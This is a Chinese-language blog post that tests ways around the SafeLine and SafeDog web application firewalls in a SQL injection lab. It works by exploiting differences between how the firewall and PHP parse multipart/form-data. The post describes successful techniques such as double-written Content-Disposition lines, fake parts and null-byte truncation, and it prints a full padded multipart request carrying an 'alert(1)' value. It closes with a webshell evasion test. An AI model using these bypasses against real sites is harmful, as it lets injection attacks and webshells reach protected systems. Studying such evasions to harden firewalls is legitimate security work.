> 技术文档 > 网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

目录

 

一、环境

二、讲解

三、绕过前思路整理

3.1 思路

3.1.1 入门思路 0x00截断filename

3.1.2 双写上传描述行(差异绕过)【成功】

3.1.3双写整个 part 开头部分

3.1.4 构造假的 part 部分 1【成功】

3.1.5 构造假的 part 部分2【成功】

3.1.6 两个 boundary

3.1.7 两个 Content-Type

3.1.8 空格 boundary

3.1.9 boundary 中的逗号

3.2 思路

3.2.1 高级00截断【成功&失败】

3.2.2 boundary 进阶

3.2.3 两个 boundary 如何取值

3.2.4 单双引号混进阶

3.2.5 urlencoded 伪装成为 multipart

3.3 思路

3.3.1. skip_upload 进阶 1

3.4拔高

四、同行对比安全狗waf

4.1 环境

4.2操作

五、雷池webshell免杀检查


 

一、环境

雷池官网docker安装我的版本是

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

看官网介绍主要防御top10

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

二、讲解

我这里只描述通用型绕过,对于事件型不多描述,因为通用型的绕过是通杀的,差异化绕过

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

正常来说我们是因为没有一个很好的过滤所以造成第11关靶场的绕过

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

但是现在有了长亭的waf加入我们直接被拦截

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2) 网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2) 那我们拿不到数据,怎么处理,我们一步步替换函数,看这个waf杀的是什么函数,这都是我乱写的根本没什么威胁

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

这根本不是一个正常的函数,但是还是被杀了

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2) 经过测试发现它其实杀的是and和我们的一个报错函数还有一个系统函数,现在出现系统函数都会报错

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

三、绕过前思路整理

我们来看看大佬分析的腾讯WAF绕过挑战赛的思路,正如大佬所说:对于一个 HTTP 请求,Nginx 解析了什么内容?交给后面的 PHP、ASP 又解析了什么内容?

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

multipart/form-data 。我们知道,HTTP 协议 POST 请求,除了常规的 application/x-wwwform-urlencoded 以外,还有 multipart/form-data 这种形式,主要是为了解决上传文件场景 下文件内容较大且内置字符不可控的问题。multipart/form-data 格式也是可以传递 POST 参 数的。对于 Nginx+PHP 的架构,Nginx 实际上是不负责解析 multipart/form-data 的 body 部 分的,而是交由 PHP 来解析,因此 WAF 所获取的内容就很有可能与后端的 PHP 发生不一 致。 

这句话也是我们绕过的核心

举个例子

以php为例,我们写一个简单的绕过脚本

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2) 我们将报文转为multipart/form-data一个形式来进行一个上传值

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

此时,我们将其转为 multipart/form-data 格式:

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

可以看到,实际上和前一种 urlencoded 是达到了同一种效果,参数并没有进入$_FILES 数组,而是进入了$_POST 数组。那么,何时是上传文件?何时是 POST 参数呢?这个关键 点在于有没有一个完整的 filename=。这 9 个字符是经过反复测试的,缺一个字符不可,替 换一个字符也不可,在其中添加一个字符更不可。 加上了 filename=以后的效果:

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2) 可以见得filename这几个字段少一个都不行

Bypass WAF 的核心思想在于,一些 WAF 产品处于降低误报考虑,对用户上传文件的内容不做匹配,直接放行。事实上,这些内容在绝大多数场景也无法引起攻击。但关键问题在于,WAF 能否准确有效识别出哪些内容是传给$_POST 数组的,哪些传给$_FILES 数组?如果不能,那我们是否就可以想办法让 WAF 以为我们是在上传文件,而实际上却是在 POST 一个参数,这个参数可以是命令注入、SQL 注入、SSRF 等任意的一种攻击,这样就实现了通用 WAF Bypass。

那核心思想就出来了让waf认为我们是上传文件,其实我们是POST一个数据

3.1 思路

3.1.1 入门思路 0x00截断filename

入门思路0X00截断(只限于php5.2版本遇见\\0自动结束,因为php底层是c语言,c语言遇见\\0就会结束)

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

简单来说市面上的南墙waf,宝塔云waf都是可以绕过的,我们测雷池waf先测一个字段,去11关改代码,passwd全删掉,我们只看username

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

我改了但是我还是正常查询数据

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

我们抓包后这个name用我们刚才的multipart/form-data格式提交上去看起来已经成功了,后端确实把它当做一个POST提交了

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

关键是WAF怎么认为,我们直接恶意代码上,简单的代码修改,没绕过

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

 注意在 filename 之前加入了 0x00,而有些 WAF 在检测前会删除 HTTP 协议中的 0x00, 这样就导致了 WAF 认为是含有 filename 的普通上传,而后端 PHP 则认为是 POST 参数。(有些waf可以)

3.1.2 双写上传描述行(差异绕过)【成功】

php获取第一个,waf获取第二个就可成功

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

爆出来的错误是select这个参数不统一

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

1,2出现是真的成功了吗

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

试试user()

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

只要骗过它一次,它后面就不会拦你

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

3.1.3双写整个 part 开头部分

没有绕过

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

 

找一下原因吧

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

原来是将我们后面所有数据当成一个post提交了,自然绕不过了

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

3.1.4 构造假的 part 部分 1【成功】

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

绕过,该方法与前一种类似

3.1.5 构造假的 part 部分2【成功】

当然还有很多绕过方案,我至少还掌握了三种,接下来下一篇看看雷池对于我们webshell的免杀

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

3.1.6 两个 boundary

迷惑waf让waf取b,php取a

很遗憾waf的取值和php取值一样,取的第一个未成功

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

跟上一个行为一样,waf跟php还是取的第一个

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

3.1.7 两个 Content-Type

长亭waf和php是一个行为还是取的第一个

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

3.1.8 空格 boundary

依然被杀掉

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

3.1.9 boundary 中的逗号

很遗憾waf也取的是a

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

3.2 思路

3.2.1 高级00截断【成功&失败】

前面,我们介绍了,如果是这样双写,其实是以第一行为主的,这样就是上传文件。但 如果我们在适当的地方加入 0x00、空格和 \\t ,就会破坏第一行,让 PHP 反以第二行为主

第一次截断失败,取的是第一个直接数据都进不去了

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

第二次,破坏第一行waf还是取的第二行失败

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

第三次破坏第一行取第二行成功

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

虽然说截断长亭追的挺死,但是三个截断方法总有一个可以绕过,这三个位置是首选的。将其替换为 0x00 和 0x20 与之同理, 大家可自行测试

 还有一种可以绕过在uname处

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

3.2.2 boundary 进阶

boundary 的名称是可以前后加入任意内容的,WAF 如果严格按 boundary 去取,又要上当了。 第一个 Content-Type 和冒号部分填入了空格

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

第二种方法报错直接400,nginx错误,我尝试更换了很多版本,nginx1.15版本是可以的,大于1.15官方估计修改了Type这个漏洞

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

3.2.3 两个 boundary 如何取值

很明显虽然取的第一个但是长亭的waf还是没有绕过,和php取值是一致的

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

3.2.4 单双引号混进阶

我们需要考虑的问题是,Content-Disposition 中的字段使用单引号还是双引号?

我的本意是通过不规则的单双引号破坏掉文件上传的form取值

拦截

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

3.2.5 urlencoded 伪装成为 multipart

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

这个 poc 很特殊。实际上是 urlencoded,但是伪装成了 multipart,通过&来截取前后装 饰部分,保留 id 参数的完整性。理论上 multipart/form-data 下的内容不进行 urldecoded, 一些 WAF 也正是这样设计的,这样做本没有问题,但是如果是 urlencoded 格式的内容,不 进行 url 解码就会引入%0a 这样字符,而这样的字符不解码是可以直接绕过防护规则的,从 而导致了绕过

3.3 思路

3.3.1. skip_upload 进阶 1

在 PHP 中,实际上是有一个 skip_upload 来控制上传行是否为上传文件的。来看这样 一个例子

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

前面内容中我们介绍了,如果在第一行的 Content-Disposition 位置添加\\0,是有可能引 起第一行失效,从而从上传文件变为 POST 参数的。除此以外,我们来看一下 php 源码 php5.3.3/main/rfc1867.c ,其中 line: 991 有这样一段内容:

if (!skip_upload) { char *tmp = param; long c = 0; while (*tmp) { if (*tmp == \'[\') { c++; } else if (*tmp == \']\') { c--; if (tmp[1] && tmp[1] != \'[\') { skip_upload = 1; break; } } if (c < 0) { skip_upload = 1; break; } tmp++; }}

其中的 param 参数是 name=\"f\" 也就是 id 这个参数,那么请问,如何能让它 skip_upload 呢? 没错,一些理解代码含义的同学应该已经有答案了。通过想办法进入 c < 0,c 原本是 0,遇到[ 就自增 1,遇到]就减一。那么,我们构造 name=\"f]\" 即可让 c=-1。

事实上,只要参数中有不成对匹配的左右中括号都可以引发 skip_upload。

我们直接开始测试,虽然很巧妙,但是waf不给机会

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

3.4拔高

 需要继续研究代码。在 php 源码 rfc1867.c line 909

/* If file_uploads=off, skip the file part */if (!PG(file_uploads)) {skip_upload = 1;} else if (upload_cnt <= 0) {skip_upload = 1;sapi_module.sapi_error(E_WARNING, \"Maximum number of allowable file uploads has been exceeded\");}

Maximum number of allowable file uploads has been exceeded ,如何达到 Maximum? 发现在 php 5.2.12 和以上的版本,有一个隐藏的文件上传限制是在 php.ini 里没有的,就是 这个 max_file_uploads 的设定,该默认值是 20, 在 php 5.2.17 的版本中该值已不再隐藏。文 件上传限制最大默认设为 20,所以一次上传最大就是 20 个文档,所以超出 20 个就会出错 了。 那么:

POST /8.php HTTP/1.1Host: 127.0.0.1Content-Type: multipart/form-data;boundary=a;Content-Length: 2065--aContent-Disposition: form-data; name=\"a\";filename=\"1.png\"Content-Type: image/pnga--aContent-Disposition: form-data; name=\"b\";filename=\"1.png\"Content-Type: image/pngb--aContent-Disposition: form-data; name=\"c\";filename=\"1.png\"Content-Type: image/pnga--aContent-Disposition: form-data; name=\"d\";filename=\"1.png\"Content-Type: image/pngb--aContent-Disposition: form-data; name=\"e\";filename=\"1.png\"Content-Type: image/pnga--aContent-Disposition: form-data; name=\"f\";filename=\"1.png\"Content-Type: image/pngb--aContent-Disposition: form-data; name=\"g\";filename=\"1.png\"Content-Type: image/pnga--aContent-Disposition: form-data; name=\"h\";filename=\"1.png\"Content-Type: image/pngb--aContent-Disposition: form-data; name=\"i\";filename=\"1.png\"Content-Type: image/pnga--aContent-Disposition: form-data; name=\"j\";filename=\"1.png\"Content-Type: image/pngb--aContent-Disposition: form-data; name=\"k\";filename=\"1.png\"Content-Type: image/pnga--aContent-Disposition: form-data; name=\"l\";filename=\"1.png\"Content-Type: image/pngb--aContent-Disposition: form-data; name=\"m\";filename=\"1.png\"Content-Type: image/pnga--aContent-Disposition: form-data; name=\"n\";filename=\"1.png\"Content-Type: image/pngb--aContent-Disposition: form-data; name=\"o\";filename=\"1.png\"Content-Type: image/pnga--aContent-Disposition: form-data; name=\"p\";filename=\"1.png\"Content-Type: image/pngb--aContent-Disposition: form-data; name=\"q\";filename=\"1.png\"Content-Type: image/pnga--aContent-Disposition: form-data; name=\"r\";filename=\"1.png\"Content-Type: image/pngb--aContent-Disposition: form-data; name=\"s\";filename=\"1.png\"Content-Type: image/pnga--aContent-Disposition: form-data; name=\"t\";filename=\"1.png\"Content-Type: image/pngb--aContent-Disposition: form-data; name=\"id\";filename=\"1.png\"Content-Type: image/png--aContent-Disposition: form-data; name=\"id\";Content-Type: image/pngalert(1)--a--HTTP/1.1 200 OKServer: nginx/1.19.5Date: Thu, 03 Mar 2022 07:14:14 GMTContent-Type: text/html; charset=UTF-8Connection: keep-aliveX-Powered-By: PHP/7.3.11Content-Length: 4507POST content:POST:array(1) { [\"id\"]=> string(8) \"alert(1)\"}FILES:array(20) { [\"a\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/php1FFea0\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"b\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpGwwobf\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"c\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpmJOlzI\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"d\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpL9SbXe\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"e\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/php5TEkl4\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"f\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpeAzjtW\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"g\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpKQX29k\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"h\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpN259vi\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"i\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpKjE3L1\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"j\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpxK3Ja2\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"k\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpKfmKKS\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"l\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpGbWp4q\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"m\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpfb4WGA\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"n\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpiW4wAU\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"o\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpHuAUlt\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"p\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpg9JuPK\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"q\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpOm7Vx9\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"r\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpg1iKx9\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"s\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpKnTJgz\" [\"error\"]=> int(0) [\"size\"]=> int(1) } [\"t\"]=> array(5) { [\"name\"]=> string(5) \"1.png\" [\"type\"]=> string(9) \"image/png\" [\"tmp_name\"]=> string(26) \"/private/var/tmp/phpJaXwzl\" [\"error\"]=> int(0) [\"size\"]=> int(1) }}

 如果删除前面的 a-t 共计 20 个构造的 part,实际的效果并不能引起 POST 攻击。如下图所示:

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

但是,如果拼接了这 20 个 part,实际上就填满了 Maximum,导致最后一个 upload 无法生效,就只能从 FILES 转化为 POST 了 

但是很遗憾没有绕过

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

四、同行对比安全狗waf

4.1 环境

安全狗官网下载即可apache版本

4.2操作

继绕过长亭waf我们来看看安全狗的webshell绕过,还是一样的样本,换汤不换药去测试一下

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

00截断是有返回的没有报错

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

直接绕过

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

相比于长亭的waf,安全狗的防御力更弱,基础版00可以直接绕过

五、雷池webshell免杀检查

很常见的webshell回调后门吧

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

没杀,但是安全狗和河马一定会杀掉

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

我们再过分一点

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)

 今天的技术分析就到这里了